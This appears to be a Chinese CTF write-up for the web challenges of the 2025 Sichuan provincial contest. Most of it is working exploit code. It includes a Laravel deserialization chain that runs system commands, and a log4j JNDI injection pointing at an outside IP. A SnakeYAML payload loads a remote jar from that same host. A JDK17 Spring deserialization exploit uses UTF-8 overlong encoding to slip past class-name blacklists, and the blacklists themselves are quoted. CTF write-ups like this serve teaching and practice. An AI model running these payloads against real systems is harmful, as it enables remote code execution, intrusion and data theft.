【Web】四川省赛 2025 wp

目录

laravel11

imagestore

see

snakeyaml

chain


laravel11

直接是nday打掉

复制代码
<?php
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php system("cat /flag");?>');
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo base64_encode(serialize($pendingbroadcast));
}
?>

imagestore

源鲁杯原题

https://xz.aliyun.com/news/15401

把php://temp替换为/flag即可

see

依赖在log4j历史漏洞版本范围内(2.0.0~2.15.0)

题目提示cookie的错误会被记录到日志中

cookie中插入

复制代码
${jndi:ldap://8.138.38.81:1339/#aaa}

成功RCE

snakeyaml

入口是一个snakeyaml反序列化

对传入的yamlConfig字符串做了黑名单

复制代码
if (!yamlConfig.contains("Runtime") && !yamlConfig.contains("\\u") && !yamlConfig.contains("exec") && !yamlConfig.contains("com.sun.rowset.JdbcRowSetImpl") && !yamlConfig.contains("org.springframework.beans.factory.config.PropertyPathFactoryBean") && !yamlConfig.contains("org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor") && !yamlConfig.contains("javax.management.BadAttributeValueExpException") && !yamlConfig.contains("org.apache.commons.configuration.ConfigurationMap"))

来看filter部分,很经典的静态资源路径绕过鉴权

打ScriptEngineManager链

复制代码
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [
    [
      !!java.net.URL ["http://8.138.38.81:1337/yaml-payload.jar"]
    ]
  ]
]

成功RCE

chain

题目本身是jdk17

主要就是spring依赖

调用了this.deserializeService.deserialize

走一个safe输入流check后再反序列化

BlackList1是对base64解码后的原始数据流做check,可以用UTF8 Overlong Encoding绕过

BlackList2是对反序列化的类名做waf

复制代码
Arrays.asList("org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors.ChainedTransformer", "org.apache.commons.collections.functors.ConstantTransformer", "org.apache.commons.collections.functors.InvokerTransformer", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.beanutils.BeanComparator", "org.springframework.expression.spel.standard.SpelExpressionParser", "com.sun.org.apache.xalan.internal.xsltc.DOM", "java.lang.Runtime", "java.lang.ProcessBuilder", "java.lang.reflect.Method", "java.beans.XMLDecoder", "org.yaml.snakeyaml.Yaml", "com.thoughtworks.xstream.XStream");

随便找个jdk17 spring链子,套个utf8 overlong encoding赢了

exp.java

复制代码
package com.example.prism.exp;

import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class exp {
    public static void main(String[] args) throws Exception{
        // 删除writeReplace保证正常反序列化
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        // 把模块强行修改,切换成和目标类一样的 Module 对象
        ArrayList<Class> classes = new ArrayList<>();
        classes.add(TemplatesImpl.class);
        classes.add(POJONode.class);
        classes.add(EventListenerList.class);
        classes.add(exp.class);
        classes.add(Field.class);
        classes.add(Method.class);
        new exp().bypassModule(classes);

        // ===== EXP 构造 =====
        byte[] code1 = getTemplateCode();
        byte[] code2 = ClassPool.getDefault().makeClass("Z3r4y").toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates,"_transletIndex",0);

        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
        EventListenerList eventListenerList = getEventListenerList(node);
        serialize(eventListenerList, true);
    }
    public static byte[] serialize(Object obj, boolean flag) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new CustomObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
        return baos.toByteArray();
    }
    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    public static byte[] getTemplateCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        String block = "Runtime.getRuntime().exec(\"calc.exe\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static EventListenerList getEventListenerList(Object obj) throws Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();
        //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);
        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
        return list;
    }

    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

CustomObjectOutputStream.java

复制代码
package com.example.prism.exp;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.ObjectStreamField;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;

/* loaded from: CustomObjectOutputStream.class */
public class CustomObjectOutputStream extends ObjectOutputStream {
    private static HashMap<Character, int[]> map = new HashMap<>();

    static {
        map.put('.', new int[]{192, 174});
        map.put(';', new int[]{192, 187});
        map.put('$', new int[]{192, 164});
        map.put('[', new int[]{193, 155});
        map.put(']', new int[]{193, 157});
        map.put('a', new int[]{193, 161});
        map.put('b', new int[]{193, 162});
        map.put('c', new int[]{193, 163});
        map.put('d', new int[]{193, 164});
        map.put('e', new int[]{193, 165});
        map.put('f', new int[]{193, 166});
        map.put('g', new int[]{193, 167});
        map.put('h', new int[]{193, 168});
        map.put('i', new int[]{193, 169});
        map.put('j', new int[]{193, 170});
        map.put('k', new int[]{193, 171});
        map.put('l', new int[]{193, 172});
        map.put('m', new int[]{193, 173});
        map.put('n', new int[]{193, 174});
        map.put('o', new int[]{193, 175});
        map.put('p', new int[]{193, 176});
        map.put('q', new int[]{193, 177});
        map.put('r', new int[]{193, 178});
        map.put('s', new int[]{193, 179});
        map.put('t', new int[]{193, 180});
        map.put('u', new int[]{193, 181});
        map.put('v', new int[]{193, 182});
        map.put('w', new int[]{193, 183});
        map.put('x', new int[]{193, 184});
        map.put('y', new int[]{193, 185});
        map.put('z', new int[]{193, 186});
        map.put('A', new int[]{193, 129});
        map.put('B', new int[]{193, 130});
        map.put('C', new int[]{193, 131});
        map.put('D', new int[]{193, 132});
        map.put('E', new int[]{193, 133});
        map.put('F', new int[]{193, 134});
        map.put('G', new int[]{193, 135});
        map.put('H', new int[]{193, 136});
        map.put('I', new int[]{193, 137});
        map.put('J', new int[]{193, 138});
        map.put('K', new int[]{193, 139});
        map.put('L', new int[]{193, 140});
        map.put('M', new int[]{193, 141});
        map.put('N', new int[]{193, 142});
        map.put('O', new int[]{193, 143});
        map.put('P', new int[]{193, 144});
        map.put('Q', new int[]{193, 145});
        map.put('R', new int[]{193, 146});
        map.put('S', new int[]{193, 147});
        map.put('T', new int[]{193, 148});
        map.put('U', new int[]{193, 149});
        map.put('V', new int[]{193, 150});
        map.put('W', new int[]{193, 151});
        map.put('X', new int[]{193, 152});
        map.put('Y', new int[]{193, 153});
        map.put('Z', new int[]{193, 154});
    }

    public CustomObjectOutputStream(OutputStream outputStream) throws IOException {
        super(outputStream);
    }

    @Override // java.io.ObjectOutputStream
    protected void writeClassDescriptor(ObjectStreamClass objectStreamClass) throws IOException {
        String name = objectStreamClass.getName();
        writeShort(name.length() * 2);
        for (int i = 0; i < name.length(); i++) {
            char charAt = name.charAt(i);
            write(map.get(Character.valueOf(charAt))[0]);
            write(map.get(Character.valueOf(charAt))[1]);
        }
        writeLong(objectStreamClass.getSerialVersionUID());
        try {
            byte b = 0;
            if (((Boolean) getFieldValue(objectStreamClass, "externalizable")).booleanValue()) {
                b = (byte) (0 | 4);
                Field declaredField = ObjectOutputStream.class.getDeclaredField("protocol");
                declaredField.setAccessible(true);
                if (((Integer) declaredField.get(this)).intValue() != 1) {
                    b = (byte) (b | 8);
                }
            } else if (((Boolean) getFieldValue(objectStreamClass, "serializable")).booleanValue()) {
                b = (byte) (0 | 2);
            }
            if (((Boolean) getFieldValue(objectStreamClass, "hasWriteObjectData")).booleanValue()) {
                b = (byte) (b | 1);
            }
            if (((Boolean) getFieldValue(objectStreamClass, "isEnum")).booleanValue()) {
                b = (byte) (b | 16);
            }
            writeByte(b);
            ObjectStreamField[] objectStreamFieldArr = (ObjectStreamField[]) getFieldValue(objectStreamClass, "fields");
            writeShort(objectStreamFieldArr.length);
            for (ObjectStreamField objectStreamField : objectStreamFieldArr) {
                writeByte(objectStreamField.getTypeCode());
                writeUTF(objectStreamField.getName());
                if (!objectStreamField.isPrimitive()) {
                    Method declaredMethod = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
                    declaredMethod.setAccessible(true);
                    declaredMethod.invoke(this, objectStreamField.getTypeString());
                }
            }
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        } catch (NoSuchFieldException e2) {
            throw new RuntimeException(e2);
        } catch (NoSuchMethodException e3) {
            throw new RuntimeException(e3);
        } catch (InvocationTargetException e4) {
            throw new RuntimeException(e4);
        }
    }

    public static Object getFieldValue(Object obj, String str) throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(str);
        declaredField.setAccessible(true);
        return declaredField.get(obj);
    }
}

生成payload的时候加个vm配置

复制代码
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
相关推荐
李白你好19 小时前
一款轻量级的CTF/渗透测试Fuzz工具
ctf
三七吃山漆20 小时前
攻防世界——safer-than-rot13
ctf
de之梦-御风1 天前
【WebAPI 模拟器】.NET 8/9 + Minimal API + Swagger + DI + WPF Host
.net·wpf·web
saulgoodman-q2 天前
Pwncollege V8 Exploitation (下) 完结散花
网络安全·pwn·ctf
曲幽3 天前
Flask登录验证实战:从零构建一个基础的账号密码登录系统
python·flask·web·session·username·login
WebRuntime3 天前
问世间,exe是何物?直教AI沉默、Web寡言(4)
javascript·c#·.net·web
带刺的坐椅3 天前
超越 SpringBoot 4.0了吗?OpenSolon v3.8, v3.7.4, v3.6.7 发布
java·ai·springboot·web·solon·flow·mcp
三七吃山漆3 天前
攻防世界——ics-05
网络·安全·web安全·ctf
WebRuntime3 天前
所有64位WinForm应用都是Chromium浏览器
javascript·c++·c#·.net·web